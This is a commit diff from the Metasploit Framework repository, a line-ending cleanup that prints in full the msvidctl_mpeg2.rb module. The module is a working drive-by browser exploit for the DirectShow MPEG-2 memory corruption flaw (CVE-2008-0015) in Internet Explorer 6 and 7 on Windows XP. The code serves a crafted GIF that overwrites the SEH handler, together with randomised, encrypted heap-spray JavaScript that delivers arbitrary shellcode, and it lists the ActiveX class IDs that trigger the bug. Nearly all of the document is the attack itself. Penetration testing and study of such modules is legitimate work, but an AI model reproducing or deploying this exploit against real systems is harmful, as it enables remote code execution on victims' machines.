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metasploit-framework
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bye-bye crlf 

git-svn-id: file:///home/svn/framework3/trunk@7878 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-12-15 18:13:27 +00:00
parent f76a9a43e6
commit 196ee82179
1 changed files with 231 additions and 231 deletions
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462
modules/exploits/windows/browser/msvidctl_mpeg2.rb
View File

@ -1,232 +1,232 @@
## ##
# msvidctl_mpeg2.rb # msvidctl_mpeg2.rb
# #
# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework # Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework
# #
# Tested successfully on the following platforms (fully patched 06/07/09): # Tested successfully on the following platforms (fully patched 06/07/09):
# - Internet Explorer 6, Windows XP SP2 # - Internet Explorer 6, Windows XP SP2
# - Internet Explorer 7, Windows XP SP3 # - Internet Explorer 7, Windows XP SP3
# #
# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites. # Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.
# The original exploit can be found here (shellcode changed to execute calc.exe): # The original exploit can be found here (shellcode changed to execute calc.exe):
# http://www.rec-sec.com/exploits/aa.rar # http://www.rec-sec.com/exploits/aa.rar
# #
# Trancer # Trancer
# http://www.rec-sec.com # http://www.rec-sec.com
## ##
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption', 'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',
'Description' => %q{ 'Description' => %q{
This module exploits a memory corruption within the MSVidCtl component of Microsoft This module exploits a memory corruption within the MSVidCtl component of Microsoft
DirectShow (BDATuner.MPEG2TuneRequest). DirectShow (BDATuner.MPEG2TuneRequest).
By loading a specially crafted GIF file, an attacker can overrun a buffer and By loading a specially crafted GIF file, an attacker can overrun a buffer and
execute arbitrary code. execute arbitrary code.
ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ], 'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
'Version' => '$Revision$', 'Version' => '$Revision$',
'References' => 'References' =>
[ [
[ 'CVE', '2008-0015' ], [ 'CVE', '2008-0015' ],
[ 'OSVDB', '55651' ], [ 'OSVDB', '55651' ],
[ 'BID', '35558' ], [ 'BID', '35558' ],
[ 'MSB', 'MS09-037' ], [ 'MSB', 'MS09-037' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'process', 'EXITFUNC' => 'process',
}, },
'Payload' => 'Payload' =>
{ {
'Space' => 1024, 'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\", 'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500, 'StackAdjustment' => -3500,
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
], ],
'DisclosureDate' => 'Jul 05 2009', 'DisclosureDate' => 'Jul 05 2009',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
register_advanced_options( register_advanced_options(
[ [
OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]), OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]),
], self.class) ], self.class)
@javascript_encode_key = rand_text_alpha(rand(10) + 10) @javascript_encode_key = rand_text_alpha(rand(10) + 10)
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
if (request.uri.match(/\.gif$/i)) if (request.uri.match(/\.gif$/i))
print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...") print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...")
gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
gif << "\xFF\xFF\xFF\xFF" # End of SEH chain gif << "\xFF\xFF\xFF\xFF" # End of SEH chain
gif << [target.ret].pack('V') # SE Handler gif << [target.ret].pack('V') # SE Handler
gif << "\x00" gif << "\x00"
send_response(cli, gif, { 'Content-Type' => 'image/gif' }) send_response(cli, gif, { 'Content-Type' => 'image/gif' })
return return
end end
if (!request.uri.match(/\?\w+/)) if (!request.uri.match(/\?\w+/))
send_local_redirect(cli, "?#{@javascript_encode_key}") send_local_redirect(cli, "?#{@javascript_encode_key}")
return return
end end
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload # Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)) == nil)
# Class IDs # Class IDs
allclsids = [ # all IDs from the advisory allclsids = [ # all IDs from the advisory
"011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work "011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work
"0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work "0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work
"0369B4E5-45B6-11D3-B650-00C04F79498E", # works "0369B4E5-45B6-11D3-B650-00C04F79498E", # works
"0369B4E6-45B6-11D3-B650-00C04F79498E", # works "0369B4E6-45B6-11D3-B650-00C04F79498E", # works
"055CB2D7-2969-45CD-914B-76890722F112", # works "055CB2D7-2969-45CD-914B-76890722F112", # works
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works "0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
"15D6504A-5494-499C-886C-973C9E53B9F1", # works "15D6504A-5494-499C-886C-973C9E53B9F1", # works
"1BE49F30-0E1B-11D3-9D8E-00C04F72D980", # doesn't work "1BE49F30-0E1B-11D3-9D8E-00C04F72D980", # doesn't work
"1C15D484-911D-11D2-B632-00C04F79498E", # doesn't work "1C15D484-911D-11D2-B632-00C04F79498E", # doesn't work
"1DF7D126-4050-47F0-A7CF-4C4CA9241333", # doesn't work "1DF7D126-4050-47F0-A7CF-4C4CA9241333", # doesn't work
"2C63E4EB-4CEA-41B8-919C-E947EA19A77C", # doesn't work "2C63E4EB-4CEA-41B8-919C-E947EA19A77C", # doesn't work
"334125C0-77E5-11D3-B653-00C04F79498E", # doesn't work "334125C0-77E5-11D3-B653-00C04F79498E", # doesn't work
"37B0353C-A4C8-11D2-B634-00C04F79498E", # doesn't work "37B0353C-A4C8-11D2-B634-00C04F79498E", # doesn't work
"37B03543-A4C8-11D2-B634-00C04F79498E", # doesn't work "37B03543-A4C8-11D2-B634-00C04F79498E", # doesn't work
"37B03544-A4C8-11D2-B634-00C04F79498E", # doesn't work "37B03544-A4C8-11D2-B634-00C04F79498E", # doesn't work
"418008F3-CF67-4668-9628-10DC52BE1D08", # doesn't work "418008F3-CF67-4668-9628-10DC52BE1D08", # doesn't work
"4A5869CF-929D-4040-AE03-FCAFC5B9CD42", # doesn't work "4A5869CF-929D-4040-AE03-FCAFC5B9CD42", # doesn't work
"577FAA18-4518-445E-8F70-1473F8CF4BA4", # doesn't work "577FAA18-4518-445E-8F70-1473F8CF4BA4", # doesn't work
"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works "59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
"7F9CB14D-48E4-43B6-9346-1AEBC39C64D3", # doesn't work "7F9CB14D-48E4-43B6-9346-1AEBC39C64D3", # doesn't work
"823535A0-0318-11D3-9D8E-00C04F72D980", # doesn't work "823535A0-0318-11D3-9D8E-00C04F72D980", # doesn't work
"8872FF1B-98FA-4D7A-8D93-C9F1055F85BB", # doesn't work "8872FF1B-98FA-4D7A-8D93-C9F1055F85BB", # doesn't work
"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works "8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works "8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
"9CD64701-BDF3-4D14-8E03-F12983D86664", # doesn't work "9CD64701-BDF3-4D14-8E03-F12983D86664", # doesn't work
"9E77AAC4-35E5-42A1-BDC2-8F3FF399847C", # doesn't work "9E77AAC4-35E5-42A1-BDC2-8F3FF399847C", # doesn't work
"A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980", # doesn't work "A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980", # doesn't work
"A2E3074E-6C3D-11D3-B653-00C04F79498E", # doesn't work "A2E3074E-6C3D-11D3-B653-00C04F79498E", # doesn't work
"A2E30750-6C3D-11D3-B653-00C04F79498E", # works "A2E30750-6C3D-11D3-B653-00C04F79498E", # works
"A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE", # doesn't work "A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE", # doesn't work
"AD8E510D-217F-409B-8076-29C5E73B98E8", # doesn't work "AD8E510D-217F-409B-8076-29C5E73B98E8", # doesn't work
"B0EDF163-910A-11D2-B632-00C04F79498E", # doesn't work "B0EDF163-910A-11D2-B632-00C04F79498E", # doesn't work
"B64016F3-C9A2-4066-96F0-BD9563314726", # works "B64016F3-C9A2-4066-96F0-BD9563314726", # works
"BB530C63-D9DF-4B49-9439-63453962E598", # doesn't work "BB530C63-D9DF-4B49-9439-63453962E598", # doesn't work
"C531D9FD-9685-4028-8B68-6E1232079F1E", # doesn't work "C531D9FD-9685-4028-8B68-6E1232079F1E", # doesn't work
"C5702CCC-9B79-11D3-B654-00C04F79498E", # doesn't work "C5702CCC-9B79-11D3-B654-00C04F79498E", # doesn't work
"C5702CCD-9B79-11D3-B654-00C04F79498E", # doesn't work "C5702CCD-9B79-11D3-B654-00C04F79498E", # doesn't work
"C5702CCE-9B79-11D3-B654-00C04F79498E", # doesn't work "C5702CCE-9B79-11D3-B654-00C04F79498E", # doesn't work
"C5702CCF-9B79-11D3-B654-00C04F79498E", # doesn't work "C5702CCF-9B79-11D3-B654-00C04F79498E", # doesn't work
"C5702CD0-9B79-11D3-B654-00C04F79498E", # doesn't work "C5702CD0-9B79-11D3-B654-00C04F79498E", # doesn't work
"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works "C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
"CAAFDD83-CEFC-4E3D-BA03-175F17A24F91", # doesn't work "CAAFDD83-CEFC-4E3D-BA03-175F17A24F91", # doesn't work
"D02AAC50-027E-11D3-9D8E-00C04F72D980", # doesn't work "D02AAC50-027E-11D3-9D8E-00C04F72D980", # doesn't work
"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works "F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
"FA7C375B-66A7-4280-879D-FD459C84BB02", # doesn't work "FA7C375B-66A7-4280-879D-FD459C84BB02", # doesn't work
] ]
clsids = [ # these all work clsids = [ # these all work
"0369B4E5-45B6-11D3-B650-00C04F79498E", # works "0369B4E5-45B6-11D3-B650-00C04F79498E", # works
"0369B4E6-45B6-11D3-B650-00C04F79498E", # works "0369B4E6-45B6-11D3-B650-00C04F79498E", # works
"055CB2D7-2969-45CD-914B-76890722F112", # works "055CB2D7-2969-45CD-914B-76890722F112", # works
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works "0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
"15D6504A-5494-499C-886C-973C9E53B9F1", # works "15D6504A-5494-499C-886C-973C9E53B9F1", # works
"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works "59DC47A8-116C-11D3-9D8E-00C04F72D980", # works
"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works "8A674B4C-1F63-11D3-B64C-00C04F79498E", # works
"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works "8A674B4D-1F63-11D3-B64C-00C04F79498E", # works
"A2E30750-6C3D-11D3-B653-00C04F79498E", # works "A2E30750-6C3D-11D3-B653-00C04F79498E", # works
"B64016F3-C9A2-4066-96F0-BD9563314726", # works "B64016F3-C9A2-4066-96F0-BD9563314726", # works
"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works "C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works
"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works "F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works
] ]
classid = datastore['ClassID'] || clsids[rand(clsids.size)] classid = datastore['ClassID'] || clsids[rand(clsids.size)]
# Encode the shellcode # Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers # Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V')) nops = Rex::Text.to_unescape([target.ret].pack('V'))
blocksize = 0x40000 blocksize = 0x40000
fillto = 500 fillto = 500
# Randomize the javascript variable names # Randomize the javascript variable names
msvidctl = rand_text_alpha(rand(100) + 1) msvidctl = rand_text_alpha(rand(100) + 1)
div = rand_text_alpha(rand(100) + 1) div = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2) j_counter = rand_text_alpha(rand(30) + 2)
host = Rex::Socket.source_address(cli.peerhost) + ":" + datastore["SRVPORT"] host = Rex::Socket.source_address(cli.peerhost) + ":" + datastore["SRVPORT"]
gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}" gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}"
if ("/" == get_resource[-1,1]) if ("/" == get_resource[-1,1])
gif_uri << get_resource[0, get_resource.length - 1] gif_uri << get_resource[0, get_resource.length - 1]
else else
gif_uri << get_resource gif_uri << get_resource
end end
gif_uri << "/" + Time.now.to_i.to_s + ".gif" gif_uri << "/" + Time.now.to_i.to_s + ".gif"
js = %Q|#{j_shellcode}=unescape('#{shellcode}'); js = %Q|#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}'); #{j_nops}=unescape('#{nops}');
#{j_headersize}=20; #{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array(); #{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
var #{msvidctl}=document.createElement('object'); var #{msvidctl}=document.createElement('object');
#{div}.appendChild(#{msvidctl}); #{div}.appendChild(#{msvidctl});
#{msvidctl}.width='1'; #{msvidctl}.width='1';
#{msvidctl}.height='1'; #{msvidctl}.height='1';
#{msvidctl}.data='#{gif_uri}'; #{msvidctl}.data='#{gif_uri}';
#{msvidctl}.classid='clsid:#{classid}';| #{msvidctl}.classid='clsid:#{classid}';|
js_encoded = encrypt_js(js, @javascript_encode_key) js_encoded = encrypt_js(js, @javascript_encode_key)
html = %Q|<html> html = %Q|<html>
<body> <body>
<div id="#{div}"> <div id="#{div}">
<script> <script>
#{js_encoded} #{js_encoded}
</script> </script>
</body> </body>
</html>| </html>|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client # Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' }) send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload # Handle the payload
handler(cli) handler(cli)
end end
end end